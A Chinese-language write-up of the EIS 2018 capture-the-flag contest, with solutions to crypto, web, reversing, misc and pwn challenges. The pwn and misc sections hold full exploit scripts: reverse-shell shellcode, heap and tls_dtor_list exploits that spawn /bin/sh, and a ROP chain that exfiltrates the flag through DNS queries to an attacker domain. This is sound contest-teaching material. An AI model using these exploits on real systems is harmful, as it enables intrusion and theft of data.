

EIS 2018 Writeup

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crypto

Azure RSA

1. 通过n1和n2的公因子还原出q, p1, p2
2. 注意到 $gcd(e, \phi(n)) = 14$, 无法直接求d

但观察发现 $gcd(e_1, p_1 - 1) = gcd(e_2, p_2 - 1) = 2$

故可以求出 $m^2 \bmod p_1$ 和 $m^2 \bmod p_2$

3. 两式合并求解, 再开根号得到flag:

EIS{Comm0n_Div15or_plus_CRT_is_so_easy|cb2733b9e69ab3a9bd526fa1}

Azure Oracle

1. 标准的RSA LSB Oracle, 已知flag长度范围, 可先本地计算若干轮节省时间
2. LSB用AES加密, 但unpad函数存在漏洞, 添加两个数据块还原LSB, 可参考POODLE ATTACK
3. 若干轮二分后, 从明文中间部分找到flag:

EIS{13reak_7he_0racl3_!5_32}

Azure 3AES

1. 根据异或和加法运算性质, 逐比特还原mask1和mask2
2. mask3切分为左右两部分, 分别进行中间相遇
3. 中间相遇还原suffix1和suffix2, 然后用3个key解密得到flag:

EIS{D0ubl3_meet_!n_7he_rnidd1e!}

web

SimpleBBS

简单的 SQL 注入, 登陆处用户名无任何过滤。

SimpleBlog

二次注入, 仍然在用户名处, 只要注册了用户名中放 Payload 即可。如果逻辑条件为假则得分为 0 , 否则就会得分。

SimpleServerInjection

很直白的 SSI。

```
<!--%23include+virtual%3D"flag"+-->
```

SimpleExtensionExplorerInjection

简单的 XXE，本身是代码审计，实际上就是漏洞 CVE-2018-1259。不多说，payload 参考：<https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1259>

SimplePrintEventLogger

本身是代码审计，实际上是漏洞 CVE-2018-1273，不过出题的时候没考虑到 XXE 读目录的情况，被非预期了，影响了大家的学习体验，深感抱歉，关于这个漏洞网上有很多分析，我也写过一个，Payload 也在那里，可以参考一下：

<https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1273>

SimpleWebAssemblyReverse

wasm 逆向，避开无关逻辑。

我们一点一点看，先看到一个关键判断。

```
(if $I1
    (get_local $I171))
```

条件 \$I1 就是本地变量 \$I171，其值可在这里获得

```
(set_local $I171
  (i32.ne
    (get_local $I170)
    (i32.const 38)))
```

也就是说判断 \$I170 是否为 38。

```
(set_local $I170
  (get_local $I151))

  (set_local $I151
    (get_local $P1))
```

可得 \$I170 是传进来的第二个参数，即 flag 的长度，这里判断了 flag 的长度是否为 38，如果为否则进入这个分支，看起来这里是失败逻辑，即 flag 格式为 `flag\{.32\}`。我们看后面。在设置了一堆本地变量后进入了一个循环。

```
(loop $L2
  (block $B3
    (set_local $I180
```

```

        (get_local $l132))
(set_local $l181
  (i32.lt_u
    (get_local $l180)
    (i32.const 3)))
(if $I4
  (i32.eqz
    (get_local $l181))//刚进来这个条件百分百是 false。因为 0 < 3 是
True。后年计数器 l132 会加 1. 循环进行三次。
  (then
    (br $B3)))
(set_local $l182
  (get_local $l131))// 回溯一下，其实这就是栈上。后年还是做了些初始化工作，然
后强制跳到 L2。
  (set_local $l183
    (get_local $l132))
  (set_local $l184 // $l184 = $l182 + 计数器 << 2, 计数器分别是0,1,2.
    (i32.add
      (get_local $l182)
      (i32.shl
        (get_local $l183)
        (i32.const 2))))
  (i32.store
    (get_local $l184) // 把 $l184 这个栈地址上 +2 +4 +8 的位置初始化为 0.
    (i32.const 0))
  (set_local $l185
    (get_local $l132))
  (set_local $l186
    (i32.add
      (get_local $l185)
      (i32.const 1)))
  (set_local $l132
    (get_local $l186))// 计数器加1.
  (br $L2)))// 最后看起来其实没做啥...就是初始化了一下栈上的几个位置，无关逻辑，
接着看。

```

看我写的注释。

下一个循环。

```

(loop $L5
  (block $B6
    (set_local $l187
      (get_local $l153)) // $l187 = $l153 = 0
    (set_local $l188
      (get_local $l151)) // $l188 = $l151 = $p1 这里是 38
    (set_local $l189
      (i32.eq
        (get_local $l187)

```

```
(get_local $1188))) // 循环判断跳出条件。
(if $17
  (get_local $1189)
  (then
    (br $B6))) // 如果不满足条件就一直循环下去，这里应该就是遍历字符串了。
(set_local $17
  (get_local $1150)) // $17 = $1150 = $p0, 也就是我们传入的字符串的地址。
(set_local $18
  (get_local $1153)) // $18 = $1153 也就是计数器
(set_local $19 // $19 = 计数器 + 1
  (i32.add
    (get_local $18)
    (i32.const 1)))
(set_local $1153 // 计数器 = 计数器 + 1
  (get_local $19))
(set_local $110 // $110 就是当前字符的地址。
  (i32.add
    (get_local $17)
    (get_local $18)))
(set_local $111 // $111 会从 $110 这个地址获取 8 位，也就是 1 字节。即字符串当前 index 字节
  (i32.load8_s
    (get_local $110)))
(set_local $112
  (i32.shr_s
    (i32.shl
      (get_local $111)
      (i32.const 24)))
  (i32.const 24))) // 先左移再符号右移，看起来是清空高位。
(set_local $113 // $113 = 当前字节 + 3
  (i32.add
    (get_local $112)
    (i32.const 3)))
(set_local $114 // $114 = $113 & 255
  (i32.and
    (get_local $113)
    (i32.const 255)))
(set_local $1110
  (get_local $1155))
(set_local $1111 // $1111 = $114
  (get_local $114))
(set_local $115
  (get_local $1110))
(set_local $116 // $116 = $1111
  (get_local $1111))
(call $f797 // $f797 比较复杂，看起来是个库函数，应该不会是很复杂的操作，看到里面有栈溢出检查，猜测是类似 strcat 这样的操作。
  (get_local $115)
  (get_local $116))
```

```
(br $L5))
```

看注释。我们认为这段的结果最终是传入参数每个字节 +3 后的结果。

后面的结果会比较乱，大量在栈上的操作，想弄清具体哪个变量是在哪个偏移上会比较困难，可以参考下 <https://xz.aliyun.com/t/2854>，在 ida 7.2 下使用 wasm_emu 能渲染全局变量，本地变量，内存和栈。我们这里人工去找找下一个 function call。看看能不能有提示，下一个 function call。即 f52，接着看这个函数干嘛的。

```
(set_local $1156
  (i32.load8_s
    (get_local $195)))
(set_local $1158
  (i32.and
    (get_local $1156)
    (i32.const 255)))
(set_local $1159
  (i32.and
    (get_local $1158)
    (i32.const 3)))
(set_local $1160
  (i32.shl
    (get_local $1159)
    (i32.const 4)))
(set_local $1161
  (i32.add
    (get_local $195)
    (i32.const 1)))
(set_local $1162
  (i32.load8_s
    (get_local $1161)))
(set_local $1163
  (i32.and
    (get_local $1162)
    (i32.const 255)))
(set_local $1164
  (i32.shr_s
    (get_local $1163)
    (i32.const 4)))
```

(第一个字节 & 3) << 4 + 第二个字节 >> 4

```
(set_local $1199
  (i32.and
    (get_local $1198)
    (i32.const 15)))
(set_local $1200
  (i32.shl
```

```

        (get_local $1199)
        (i32.const 2)))
(set_local $1202
    (i32.add
        (get_local $195)
        (i32.const 2)))
(set_local $1203
    (i32.load8_s
        (get_local $1202)))
(set_local $1204
    (i32.and
        (get_local $1203)
        (i32.const 255)))
(set_local $1205
    (i32.and
        (get_local $1204)
        (i32.const 192)))
(set_local $1206
    (i32.shr_s
        (get_local $1205)
        (i32.const 6)))

```

(第二个字节 & 0xf) << 2 + (第三个字节 & 0xc0) >> 6

```

(set_local $1239
    (i32.add
        (get_local $195)
        (i32.const 2)))
(set_local $1240
    (i32.load8_s
        (get_local $1239)))
(set_local $1241
    (i32.and
        (get_local $1240)
        (i32.const 255)))
(set_local $1242
    (i32.and
        (get_local $1241)
        (i32.const 63)))

```

第四个字节 & 0x3f

这期间出现了数次 f797，其实就是我们前面猜测的字符串拼接。这段算法是否比较熟悉？其实就是逆向中常见的算法 base64 encode。到这里逻辑就大致理清了。每个字节 + 3，然后 base64 encode。最后应该是和一个字符串进行比较。在 data 段可以找到，即

aW9kan40NGgzOTNkNWZoNDt/OjloNmk1OThmNzk4O2dkPDRoZoA=

对该字符串解码并每个字节减 3 即可。

reverse

hideandseek

256层单纯混淆函数，以及flag长度的验证函数，每一层都会加密上一层并且解密下一层，ida里提取出每一层的异或密钥进行解密即可。flag验证对每一位进行，是一个一元三次方程，因为系数都是正数其实是单调的函数，可以直接解或者爆破也可以。

tailbone

程序中有一个没用的atoi函数指针，其对应的重定位项被改成了.fin_array中的第一项，启动时会修改到eh_frame中，对应的代码如下：

```
code = """
    movaps xmm0, xmmword ptr [{flag_addr}]
    movaps xmm1, xmmword ptr [{flag_addr} + 0x10]

    movaps xmm2, xmmword ptr [{key_addr}]
    movaps xmm3, xmmword ptr [{key_addr} + 0x10]
    movaps xmm4, xmmword ptr [{key_addr} + 0x20]
    movaps xmm5, xmmword ptr [{key_addr} + 0x30]
    movaps xmm6, xmmword ptr [{key_addr} + 0x40]
    movaps xmm7, xmmword ptr [{key_addr} + 0x50]
    movaps xmm8, xmmword ptr [{key_addr} + 0x60]
    movaps xmm9, xmmword ptr [{key_addr} + 0x70]

    aesenc xmm0, xmm2
    aesenc xmm0, xmm3
    aesenc xmm0, xmm4
    aesenc xmm0, xmm5

    aesenc xmm1, xmm6
    aesenc xmm1, xmm7
    aesenc xmm1, xmm8
    aesenc xmm1, xmm9

    movaps xmmword ptr [{flag_addr}], xmm0
    movaps xmmword ptr [{flag_addr} + 0x10], xmm1

    xor rcx, rcx
    lea rdi, byte ptr [enc_data]
    lea rsi, byte ptr [{flag_addr}]

check_loop:
    mov al, byte ptr [rdi + rcx]
    cmp al, byte ptr [rsi + rcx]
    jnz {flag_wrong}
```

```

inc rcx
cmp rcx, 0x20
jnz check_loop

jmp {flag_correct}

.align 0x10

enc_data:
"""

```

key和cipher都固定在程序中了，直接按照相反步骤解密即可。

misc

elfrand

随机生成的elf，原意是匹配哈希表，找符号表来确定flag数据的位置的，但是大家要么开始正态分布爆破，要么就莫名其妙开始二分了。。

```

#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Himyth / AAA """
from pwn import *

def leak_bytes(offset, note):
    p.sendlineafter('offset: ', '%x' % offset)
    return p.recvline().strip().decode('hex')

def leak_xword(offset, note):
    data = leak_bytes(offset, note)
    return map(u64, [data[_:_ + 8] for _ in xrange(0, 8, 8)])

def leak_dword(offset, note):
    data = leak_bytes(offset, note)
    return map(u32, [data[_:_ + 4] for _ in xrange(0, 8, 4)])

p = remote("localhost", 22222)

shdr_offset = leak_xword(0x28, 'shdr_offset')[0]

SHT_STRTAB = 3
SHT_DYNSYM = 11
SHT_GNU_HASH = 0x6fffff6
strtab = None
dynsym = None
gnuhash = None
shndx = 1

```

```

while not (strtab and dynsym and gnuhash):
    offset = shdr_offset + 0x40 * shndx
    sh_type = leak_dword(offset, 'sh_type')[1]
    if sh_type == SHT_DYNSYM and dynsym is None:
        dynsym = leak_xword(offset + 0x18, 'dynsym_offset')[0]
    if sh_type == SHT_STRTAB and strtab is None:
        strtab = leak_xword(offset + 0x18, 'strtab_offset')[0]
    if sh_type == SHT_GNU_HASH and gnuhash is None:
        gnuhash = leak_xword(offset + 0x18, 'gnuhash_offset')[0]
    shndx += 1

# generate gnu-hash for string
def gnu_hash(s):
    h = 5381
    for c in s:
        h = h * 33 + ord(c)
    return h & 0xffffffff

# calculate target variable hash value
flag_hash = gnu_hash('cool_man_i_am_your_sweet_flag_lol')

# leak metadatas in gnu_hash table
nbuckets, symndx = leak_dword(gnuhash, 'gnu_hash_metadata')
maskwords, _ = leak_dword(gnuhash + 8, 'gnu_hash_metadata')

# calculate buckets/chains offset, and flag index
buckets = gnuhash + 0x10 + 8 * maskwords
chains = buckets + 4 * nbuckets
bucket_index = flag_hash % nbuckets

# leak chain_index in bucket, and calculate chain offset
chain_index = leak_dword(buckets + bucket_index * 4,
                        'gnu_hash_buckets_data')[0]
chain = chains + 4 * (chain_index - symndx)

# leak chains data, and calculate flag symbol index
flag_hash = flag_hash & (2 ** 32 - 2)
chainoff = 0
while True:
    hash1, hash2 = leak_dword(chain + chainoff * 4, 'gnu_hash_chain_data')
    hash1 = hash1 & (2 ** 32 - 2)
    hash2 = hash2 & (2 ** 32 - 2)
    if flag_hash == hash1:
        flag_symbol_index = chain_index + chainoff
    elif flag_hash == hash2:
        flag_symbol_index = chain_index + chainoff + 1
    else:
        chainoff += 2
        continue

```

```

        break

flag_symbol = dynsym + 24 * flag_symbol_index

# leak flag offset in flag symbol, calculate actual offset
flag_address = leak_xword(flag_symbol + 8, 'flag_st_value')[0]
flag_offset = flag_address - 0x200000

# leak whole flag body and disassemble
flag = ''
for i in xrange(5):
    flag += leak_bytes(flag_offset + i * 8, 'flag')
print 'flag:', flag
p.close()

```

gogogo

icmp tunnel中的ftp流量，直接读图片即可

shellcodencrypt

shellcode会被随机生成的加密函数加密，但是加密函数满足Feistel网络结构，所以不需要去逆向加密函数，只需要复用加密函数在入口调换一下左右顺序即可得到合理的输入。可以执行任意shellcode之后反连即可，returncode只是我调试时用的，结果有师傅用来返回flag了。。

```

#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Himyth / AAA """
from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='info')
context(terminal=['gnome-terminal', '--', 'zsh', '-c'])

p = remote('127.0.0.1', 22222)

def swap(s):
    result = ''
    for i in xrange(0, len(s), 8):
        result += s[i + 4:i + 8] + s[i:i + 4]
    return result

sc = shellcraft.amd64
shellcode = ''
shellcode += sc.connect(host='127.0.0.1', port=55555, network='ipv4')
shellcode += sc.dup2('rbp', 0)
shellcode += sc.dup2('rbp', 1)
shellcode += sc.dup2('rbp', 2)
shellcode += sc.execve("/bin/sh", 0, 0)
shellcode = asm(shellcode, arch="amd64").ljust(0x80, '\x90')

```

```

p.recvuntil('here is your base64-encoded target file:\n')
binary = base64.b64decode(p.recvline().strip())
local_binary = os.path.abspath('./shellcodencrypt')
open(local_binary, 'wb').write(binary)
os.system('chmod +x %s' % local_binary)

q = process(argv=[local_binary])
dumpfile = os.path.abspath('./afterencrypt')
gdb.attach(q, gdbscript="""
b *main+0x40
command 1
dump memory %s $rbx $rbx+0x80
quit
end
continue
""" % dumpfile
)
q.send(swap(shellcode))
while not os.path.exists(dumpfile):
    import time
    time.sleep(1)
encrypted = open(dumpfile, 'rb').read(0x80)
q.close()

reverse = listen(55555)
p.recvuntil('now your base64-encoded shellcode please:\n')
p.sendline(base64.b64encode(swap(encrypted)))
reverse.wait_for_connection()
reverse.interactive()

```

uncaptcha/checkin

asciart验证码，只需要采样所有的字符然后文本比较即可，最初觉得这题比较简单当成了checkin，但好久没有人做出来就把验证码长度和总次数都降下来了。

youchat

秘钥交换的nonce用的是timestamp，而timestamp可以从同一个pcapng中的http请求中的时间戳，加上流量中的时间偏移算出来，然后加上流量中的信息就可以还原出加密的key以及flag。

pwnable

hack

任意地址写，old ebp，可以用tls_dtor_list的方法，给出一个我本地libc的exp：

```

from pwn import *
from time import *

```

```

libc = ELF('./libc.so.6')
elf = ELF('./p.out')
r = process('./p.out')
context(arch='i386', os='linux', log_level='debug')

r.sendlineafter('address: ', str(int('0804a010', base = 16)))
r.recvuntil(', ')
recv = r.recv(10)
printf_address = int(recv, base = 16)
print hex(printf_address)
libc.address = printf_address - libc.symbols['printf']
print "libc address is:", hex(libc.address)

raw_input()

gs_18_address = libc.address + (0xb7705958 - 0xb7511000)
print "gs_18_address is:", hex(gs_18_address)

r.sendlineafter('chance: ', str(gs_18_address))
r.recvuntil(', ')
recv = r.recv(10)
gs_18_value = int(recv, base = 16)
print hex(gs_18_value)

tls_dtor_list_address = libc.address + (0xb7705914 - 0xb7511000)
print "tls_dtor_list_address is: ", hex(tls_dtor_list_address)

r.recvuntil('node is ')
recv = r.recvuntil(',', )[:-1]
fake_list_address = int(recv, base = 16)
print "the fake list is at", hex(fake_list_address)

want_result = libc.symbols['system'] ^ gs_18_value
print 'want_result:', hex(want_result)
here = want_result << 9
print 'here:', hex(here)
here2 = here & 0xffffffff
here2 += here >> 32
print 'here2:', hex(here2)

fake_struct = p32(here2)
fake_struct += p32(libc.search('/bin/sh').next())
fake_struct += p32(fake_list_address)
fake_struct += p32(tls_dtor_list_address - 8)
r.sendlineafter('now: ', fake_struct)

```

```
r.interactive()
```

justnote

漏洞在于最小的负数去取相反数还是其自身，所以可以绕过长度检查造成任意长度堆溢出。溢出之后的堆利用就可以各自发挥了，这里借湘潭大学大佬的exp一用：

```
from pwn import *

# context.log_level = 'debug'

binary = './justnote'
elf = ELF(binary)
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./pwn/xtu/libc6_2.23-0ubuntu10_amd64.so")}
io = remote('210.32.4.17', 13376)

# io = process(binary)

def p():
    gdb.attach(io)
    raw_input()

def choice(c):
    io.recvuntil('choice: ')
    io.sendline(str(c))

def add(size,content):
    choice(1)
    io.recvuntil('of note: ')
    io.sendline(str(size))
    io.recvuntil('note: ')
    io.send(content)

def delete(index):
    choice(2)
    io.recvuntil('of note: ')
    io.sendline(str(index))

def edit(index,content):
    choice(3)
    io.recvuntil('of note: ')
    io.sendline(str(index))
    io.recvuntil('note: ')
    io.send(content)

add(-0xFFFFFFFFFFFFFFFFFFFFFF, '\n')#0
add(0x100, 'B'*0xff)#1
add(0x100, 'C'*0xff)#2
add(0x100, 'D'*0xff)#3
delete(1)
```

```

edit(0, 'A'*0x108 + p64(0x113) + '\n')

add(0x100, 'B'*0x8 + '\n')
io.recvuntil('B'*8)
leak = u64(io.recv(6).ljust(8, '\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 0x58
iolist = libc_base + libc.symbols['_IO_list_all']
sys = libc_base + libc.symbols['system']
fake_file = p64(0)
fake_file += p64(0x61)
fake_file += p64(1)
fake_file += p64(iolist - 0x10)
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_base + next(libc.search('/bin/sh\x00'))) #/bin/sh
addr
fake_file += (0xc0-0x40) * "\x00"
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_base + 0x3c37b0 - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(sys)
delete(2)
edit(0, 'A'*0x108 + p64(0x111) + 'B'*0x100 + fake_file + p64(0)*5 +
p64(0x111) + '\n')

choice(1)

io.interactive()

```

dns_of_melody

有一个栈溢出，没开canary没开pie，所以可以直接执行gadget。

但是题目限制了execve, execveat, fork等一些syscall，因此拿不到shell，并且在执行rop之前关闭了0, 1, 2，而且没给libc，没有很多gadget可以用，难点在于如何传出flag。

预期解法是利用题目自带的dns功能，让程序去查询\${flag}.yourevil.domain.com这样的域名，另一边在自己的server上跑一个dns服务器，这样才能收到flag。

```

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = "Kira / AAA"
from pwn import *
import sys
context(binary='./dns_of_melody', os='linux', log_level='info')

# libc = ELF('.')
elf = context.binary

```

```
if len(sys.argv) > 1:
    if sys.argv[1] == 'r': # remote
        p = remote('', '')
else:
    p = elf.process(env={'LD_PRELOAD': ''})

p.sendlineafter('Select:\n', '1')
p.sendlineafter('length: \n', '80')
p.sendline('A' * 10)

p.sendlineafter('Select:\n', '2')
p.sendlineafter('index: \n', '0')

# context.log_level = 'debug'
raw_input('xx')
p.sendlineafter('Select:\n', '4')
p.sendlineafter('index: \n', '0')

payload = '.test.lovekira.cn'.rjust(0x50, 'A')
payload += '\x00./flag\x00'
payload = payload.ljust(0xa10 - 0x870, '\0')
# open("flag", 0)
payload += p64(0x601FE8)      # rbp
# 0x0000000004012b3: pop rdi; ret;
payload += flat(0x4012b3, 0x602060 + 0x51)
# 0x0000000004012b1: pop rsi; pop r15; ret;
payload += flat(0x4012b1, 0, 0)
# 0x0000000004016eb: jmp qword ptr [rbp];
payload += flat(0x4016eb)

# read(0, buf, rdx)
payload += flat(0x4012b3, 0)
payload += flat(0x4012b1, 0x602060, 0)
# 0x000000000400b28: pop rbp; ret;
payload += flat(0x400b28, 0x601FB8)
payload += flat(0x4016eb)

# gethostbyname(buf)
payload += flat(0x4012b3, 0x602060)
payload += p64(0x400F68)
p.sendline(payload)

p.interactive()
```